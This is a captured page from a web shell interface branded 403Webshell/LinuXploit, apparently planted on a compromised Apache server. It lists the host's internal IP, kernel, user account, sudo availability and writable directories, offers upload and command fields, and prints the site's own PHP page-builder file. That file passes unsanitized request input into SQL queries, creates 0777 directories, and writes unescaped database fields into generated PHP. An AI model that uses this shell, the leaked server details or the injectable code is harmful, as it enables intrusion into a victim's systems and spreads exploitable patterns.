403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/api/buildContentPages.php
<?
include($_SERVER['DOCUMENT_ROOT']."/lib/inc.php");

$post = $_POST['post'];
$post = ($post * 1);
if($post <= 0)
{
	$post = $_REQUEST['post'];
}
if($post > 0)
{
	$postData = $db->query("
								SELECT
										*
								FROM lc2content.posts
								WHERE
										post = '$post'
							");
	$postImages = $db->query("
								SELECT
										f.filename,
										f.extension
								FROM lc2content.post_images AS pi
								LEFT JOIN lc2content.files AS f
									ON f.file = pi.image
								WHERE
										pi.post = '$post'
							");
	if(count($postData) > 0)
	{
		$postHTML = $postData[0]['html'];
		$postHTML = base64_decode($postHTML);
		$postHTML = urldecode($postHTML);
		$postHTML = htmlspecialchars_decode($postHTML);
		$postPath = $postData[0]['path'];
		$postPathData = explode("/", $postPath);
	}
	$postPath = array();
	for($i=0; $i<count($postPathData); $i++)
	{
		if(!empty($postPathData[$i]))
		{
			$postPath[] = $postPathData[$i];
		}
	}
	$newFile = $_SERVER['DOCUMENT_ROOT'];
	$goToFile = "";
	for($i=0; $i<count($postPath); $i++)
	{
		$newFile .= "/".$postPath[$i];
		$goToFile .= "/".$postPath[$i];
		if(!file_exists($newFile))
		{
			if (!mkdir($newFile, 0777, true)) {
				die('Failed to create folders...');
			}
		}
	}
	if(count($postImages) > 0)
	{
		$image = file_get_contents("http://surfcrm.com/editor/images/posts/".$postImages[0]['filename'].".".$postImages[0]['extension']);
		if(!file_put_contents($_SERVER['DOCUMENT_ROOT']."/images/".$postImages[0]['filename'].".".$postImages[0]['extension'], $image))
		{
			echo $_SERVER['DOCUMENT_ROOT']."/images/".$postImages[0]['filename'].".".$postImages[0]['extension']."<hr>";
		}
		$imageHTML = '<div class="rb cc" style="margin-bottom: 30px;"><img src="/images/'.$postImages[0]['filename'].".".$postImages[0]['extension'].'" style="width:100%; height:auto;"></div>';
	}
	$phpOutput =
	'
		<?php
		/**
		 * /index.php
		 *
		 *  This file is the landing page for the website
		 *
		 * @copyright '.date('Y').' Synergy Pro Marketing
		 * @author Aaron Campbell <aaron@synergymentoring.com>
		 * @license None, All Rights Reserved
		 * @package Layout
		 * @filesource
		 * @since '.date("m/d/Y H:i:s").'
		 * --- Aaron Campbell, auto-generated
		 */

		/**
		 * @file /lib/inc.php framework initializer
		 * */
		include($_SERVER[\'DOCUMENT_ROOT\']."/lib/inc.php");
		?>
		<div class="main-content">
             <div class="main-wrap">
              <div class="content-wrap">
			        <div class="full pb20" style="min-height:50vh;">
                        '.$imageHTML.'
				        '.$postHTML.'
			        </div>
                </div>
               <?php include($_SERVER[\'DOCUMENT_ROOT\']."/vx_/inc/testimonials.php"); ?>
            </div>
             <?php include($_SERVER[\'DOCUMENT_ROOT\']."/vx_/inc/category-boxes.php"); ?>
		</div>
		<?php
		/*
		 * -- Versioning Variable Declaration --
		 *
		 * landing
		 * content
		 * post
		 * media
		 * social
		 * form
		 * members
		 *
		 *    --- must be declared before body include ---
		 * The version page type variable is not set within inc.php
		 *
		 * */
		// set when it hasn\'t been declared by another function or page
		$pageType = "content";
		$title = \''.$postData[0]['meta_title'].'\';
		$description = \''.$postData[0]['meta_description'].'\';
		// include the body type to wrap this page
		include($_SERVER[\'DOCUMENT_ROOT\']."/layout/body.php");
		?>
	';
	//$phpOutput = trim($phpOutput);
	if(empty($postData[0]['slug']))
	{
		$postData[0]['slug'] = "index";
	}
	if(empty($postData[0]['extension']))
	{
		$postData[0]['extension'] = "php";
	}

	$oldFile = $newFile."/".$postData[0]['slug'].".".$postData[0]['extension'];
	$finalFile = $newFile."/".$postData[0]['slug'].".".$postData[0]['extension'];
	if(file_exists($oldFile))
	{
		$archivefile = $_SERVER['DOCUMENT_ROOT'].'/archive/content/pages/'.$postData[0]['slug']."_gen".date("ymdHis").".".$postData[0]['extension'];
		if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/archive/'))
		{
			if (!mkdir($_SERVER['DOCUMENT_ROOT'].'/archive/', 0777, true)) {
				die('Failed to create folders...');
			}
		}
		if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/archive/content/'))

		{
			if (!mkdir($_SERVER['DOCUMENT_ROOT'].'/archive/content/', 0777, true)) {
				die('Failed to create folders...');
			}
		}
		if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/archive/content/pages/'))
		{
			if (!mkdir($_SERVER['DOCUMENT_ROOT'].'/archive/content/pages/', 0777, true)) {
				die('Failed to create folders...');
			}
		}
		if (!copy($oldFile, $archivefile)) {
			echo "failed to copy";
		}
	}
	if($finalFile != $_SERVER['DOCUMENT_ROOT'].'/index.php')
	{
		$postfile = fopen($finalFile, "w") or die("Unable to open file!");
		fwrite($postfile, $phpOutput);
		fclose($postfile);
		header("Location: ".$goToFile."/".$postData[0]['slug'].".".$postData[0]['extension']);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit